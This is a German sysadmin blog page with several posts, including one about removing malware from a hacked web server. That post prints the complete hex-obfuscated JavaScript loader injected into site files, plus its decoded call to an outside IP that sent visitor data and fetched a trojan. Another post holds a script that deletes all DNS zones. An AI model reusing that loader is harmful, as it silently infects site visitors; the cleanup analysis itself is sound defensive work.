www.devilsystems.org

Einblicke in den Alltag eines Admins

  • Werbung

    test

Linux – Apache Log per Commandline analysieren

Erstellt von flitzender_elch am Dienstag 24. Januar 2012

Da es bei mir öfter vorkommt das ein Server attackiert wird, ist dann schnell Reaktion vorteilhaft.
Statistik-Programme wie Awstats oder Webalizer analysieren ja den letzten Tag, wenn aber gerade ein Angriff ist
wäre ein Analyse des Logs während des Angriffes aufschlussreicher.

Habe im Netz dazu mehrere Möglichkeiten gefunden, hier ein paar davon:

  • tail -n 10000 yourweblog.log|cut -f 1 -d ‘ ‘|sort|uniq -c|sort -nr|more
  • netstat -n|grep :80|cut -c 45-|cut -f 1 -d ‘:’|sort|uniq -c|sort -nr|more
  • cut -f 2 -d ‘”‘ yourweblog.log|cut -f 2 -d ‘ ‘|sort|uniq -c|sort -nr|more
  • cut -f 4 -d ‘”‘ yourweblog.log|sort|uniq -c|sort -nr|more
  • netstat -an | grep ESTABLISHED | awk ‘\”{print $5}’\” | awk -F: ‘\”{print $1}’\” | sort | uniq -c | awk ‘\”{ printf(“%s\t%s\t”,$2,$1); for (i = 0; i < $1; i++) {printf(“*”)}; print “”}’\”

Quelle

Abgelegt unter Linux | Keine Kommentare »

Linux – Ein paar find und sed Befehle die mir geholfen haben einen Schadcode am Webserver zu entfernen

Erstellt von flitzender_elch am Freitag 13. Januar 2012

Auf einem meiner Webserver hatte ich einen Schadcode in JS-Dateien der in Hex geschrieben war, anscheinend durch ein ungepatchtes WordPress reingekommen und
schon waren ein paar tausend Files infiziert. Mit der Hand tut man sich schwer, deshalb hier ein paar Befehle die mir geholfen haben:

find . -type f -name “*.js” -exec sed -i.backup -e ‘s/var _0x4470.*//g’ {} \;
find . -type f | xargs grep -H “_0xa064″ | awk ‘{print $1}’
find . -type f -name “*.backup” | xargs tar rvf /var/backup.tar
find . -type f -exec grep -H “_0xa064″ {} \;
find . -exec grep -n “_0xa064″ /dev/null {} \;

Kleines Skript welches jede Zeile einliest und darauf einen Befehl ausführt:

#!/bin/bash
# List all the users in /etc/passwd.
FILENAME=/var/ergebnis3.txt
for user in $(cut -d: -f1 $FILENAME)
do
ls -lh /var/www/$user/
done

Folgender Code wurde in die JS-Dateien eingefügt:

Var_0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3–){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3–){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));

Dadurch wurde am Client folgender Befehl ausgeführt:

http://91.196.216.64/s.php?ref=&lc=http://DOMAIN/&ua=Mozilla/5.0%20%28Windows%20NT%206.1%3B%20WOW64%3B%20rv%3A8.0.1%29%20Gecko/20100101%20Firefox/8.0.1

Der widerum einen Trojaner downloaden wollte.
Das gemeine daran ist das der Befehl in HEX umgewandelt worden ist und man so nicht einfach nach z.B. “91.196.216.64″ suchen lassen kann, weil er natürlich nix findet.
Die Bösewichte werden immer besser, für mich sehr raffiniert sich so zu verstecken, da zieh ich meinen Hut, wenn ich einen auf hätte.

Was ich mir jetzt mal anschauen werden ist das

Security/CSP

Abgelegt unter Linux | Keine Kommentare »

Powershell – Suchen und ersetzen von Dateien

Erstellt von flitzender_elch am Mittwoch 4. Januar 2012

Unter Windows ist es mit Boardmitteln nicht so einfach Dateien zu suchen und diese zu ersetzen, dank
Powershell geht das jetzt aber auch ohne Drittanbieter.

$whereismyfile = Get-ChildItem c:\ -filter file.js -recurse

foreach ($file in $whereismyfile){
$file.DirectoryName
$file.name
$file.fullname
$file.Length
$file.CreationTime
#$file | get-member
#damit kannst du verschiedene if-clauses etc machen und sichergehen dass du nicht neuere größere oder gar ganz falsche files überschreibst….
Copy-Item \\xzy\share\file.js $($file.fullname) -force
}

Quelle.

Abgelegt unter Microsoft | Keine Kommentare »

IIS6 – Nach Hostheader suchen

Erstellt von flitzender_elch am Dienstag 3. Januar 2012

Sollte man noch einen alten IIS6 im Einsatz haben mit vielen Domains und noch mehr Hostheadern wird es schwer
im IIS-Manager den Überblick zu behalten. Will man jetzt nach einer bestimmten Domain suchen, geht das mit dem
Manager nicht im Metabase-Explorer kann man auch nicht suchen!

Dafür gibt es eine andere Lösung:
(Da hat Microsoft mal gut mitgedacht)

Beim IIS6 hat Microsoft auf XML umgestellt, die Metabase wird jetzt nicht mehr in der Metabase.bin gespeichert sondern in
zwei XML-Files in denen man bequem mit jedem Editor (in meinem Fall Notepad++) suchen kann.
Man findet diese im Ordner:

systemroot\System32\Inetsrv

und heißen:

MetaBase.xml file
MBSchema.xml file

Quelle.

Abgelegt unter Windows | Keine Kommentare »

Linux – Zählen von Ordnern

Erstellt von flitzender_elch am Montag 19. Dezember 2011

ls -1 -p | grep “/” | wc –l

Quelle

Abgelegt unter Allgemein | Keine Kommentare »

Debian/Ubuntu – Download-Limit für apt

Erstellt von flitzender_elch am Donnerstag 3. November 2011

create file /etc/apt/apt.conf.d/76download with content:

Acquire
{
Queue-mode “access”;
http
{
Dl-Limit “25″;
};
};

That limits apt-get to 25KB/s

Quelle

Abgelegt unter Linux | Keine Kommentare »

Xen – Live Migration funktioniert nicht mehr

Erstellt von flitzender_elch am Montag 19. September 2011

Ich habe seit ein paar Tagen eine Testumgebung mit 2 Xen Dom0 und einem ISCSI-Storage am laufen. Alles
läuft unter Debian Squeeze.
Am Anfang war noch alles wunderbar und die Live Migration funktionierte wunderbar, aber nach einem Bios-Update
an den Dom0′s funktionierte es nicht mehr.

Bei der Live Migration bekam ich immer folgenden Fehler:

[2011-09-19 13:57:23 1392] ERROR (XendDomain:1194) Restore failed
Traceback (most recent call last):

File “/usr/lib/xen-4.1/bin/../lib/python/xen/xend/XendDomain.py”, line 1178, in domain_restore_fd

dominfo = XendCheckpoint.restore(self, fd, paused=paused, relocating=relocating)

File “/usr/lib/xen-4.1/bin/../lib/python/xen/xend/XendCheckpoint.py”, line 358, in restore

raise exn

XendError: /usr/lib/xen-4.1/bin/xc_restore 5 4 1 2 0 0 0 0 failed

Und die DomU stand erst nach einem xm reset konnte ich sie verwenden, in der zwischen Zeit habe ich die Dom0′s des öfteren
neu aufgesetzt und auch auf wheezy geupdatet. Habe es dann auch mal mit Xen 4.0 versucht aber immer der selbe Fehler.
Dann habe ich in einer Mailinglist was von den CPU-Flags gelesen, danach überprüfte ich meine CPU-Flags auf den beiden Dom0′s
und dort waren einige Unterschiede.
Ich setzte die Flags im Bios für die CPU’s auf beiden Hosts gleich und schon ging die Live Migration wieder.

Zwar habe ich jetzt ein neues Problem, nach einer Live Migration geht das Netzwerk nicht mehr in der DomU, aber jetzt geht erst
mal die Live Migration wieder.

Abgelegt unter Linux | Keine Kommentare »

Exchange – Outlook: Fehler bei der Synchronisierung

Erstellt von flitzender_elch am Freitag 2. September 2011

Auf allen Outlook-Clients bekomme ich immer folgende Synchronisierungsprobleme:

10:18:16 Synchronisiererversion 14.0.6025
10:18:16 Postfach “User_Konto” wird synchronisiert
10:18:16 Lokale Änderungen im Ordner “Entwürfe” werden synchronisiert
10:18:16 Übermittlung an Server “Exchange_Server”
10:18:16 Fehler bei der Synchronisierung einiger Löschungen.
10:18:16 [0-130]
10:18:16 1 Element(e) wurde(n) im Onlineordner gelöscht.
10:18:16 Vorgang abgeschlossen

Nachdem ich den “Exchange-Cache-Modus” in den Servereinstellungen ausgeschaltet habe und Outlook neugestartet habe waren die Fehler weg.

Man kann den Cache-Modus auch nur für die öffentlichen Ordner abschalten

Im Outlook: “Öffentliche Ordner” -> Rechte Maustaste -> “Datendateieigenschaften” -> “Erweitert” -> “Erweitert”

Abgelegt unter Exchange | Keine Kommentare »

ISPConfig – Per Remote-Api alle DNS Zonen löschen

Erstellt von flitzender_elch am Mittwoch 31. August 2011

Wenn jemand es benötigt, hier mein PHP-Skript wie man per Remote-Api alle DNS-Zonen auf einem ISPConfig-Server löscht:

$username = ‘REMOTE_USERNAME’;
$password = ‘REMOTE_PASSWORD’;

$soap_location = ‘https://ISPCONFIGSERVER:8443/remote/index.php’;
$soap_uri = ‘https://ISPCONFIGSERVER:8443/remote/’;

$client = new SoapClient(null, array(‘location’ => $soap_location,
‘uri’ => $soap_uri));

function delete_domains($primary_id){

global $username;
global $password;

if($session_id = $client->login($username,$password))
{
echo ‘Zalogowany. Sesja:’.$session_id.’
‘;
}

$domain_dns_entry = $client->dns_zone_delete($session_id, $primary_id);

if($client->logout($session_id))
{
print_r ($domain_dns_entry[name].’
‘);
}
}

//echo delete_domains($primary_id);

function sql(){

$mysqlhost=”ISPCONFIGSERVER”; // MySQL-Host angeben
$mysqluser=”"; // MySQL-User angeben
$mysqlpwd=”"; // Passwort angeben

$connection=mysql_connect($mysqlhost, $mysqluser, $mysqlpwd) or die (“Verbindungsversuch fehlgeschlagen”);

$mysqldb=”dbispconfig”; // Gewuenschte Datenbank angeben
mysql_select_db($mysqldb, $connection) or die(“Konnte die Datenbank nicht waehlen.”);

$sql = “Select * From dns_soa”;

$adressen_query = mysql_query($sql) or die(“Anfrage nicht erfolgreich”);

/*$anzahl = mysql_num_rows($adressen_query);
echo “Anzahl der Datensätze: $anzahl”;*/

while ($adr = mysql_fetch_array($adressen_query))
{
echo delete_domains($adr["id"]);
}

(“Verbindungsversuch fehlgeschlagen”);
}

echo sql();

Abgelegt unter ISPConfig | Keine Kommentare »

Heise.de – Meldung „killapache“ Skript

Erstellt von flitzender_elch am Mittwoch 24. August 2011

Diese Skript funktioniert zu 100%, habs selbst getestet.

Quelle: heise.de

Vorübergehende Lösung z.B. über htaccess.

Hier der Thread dazu.

Abgelegt unter Linux | 1 Kommentar »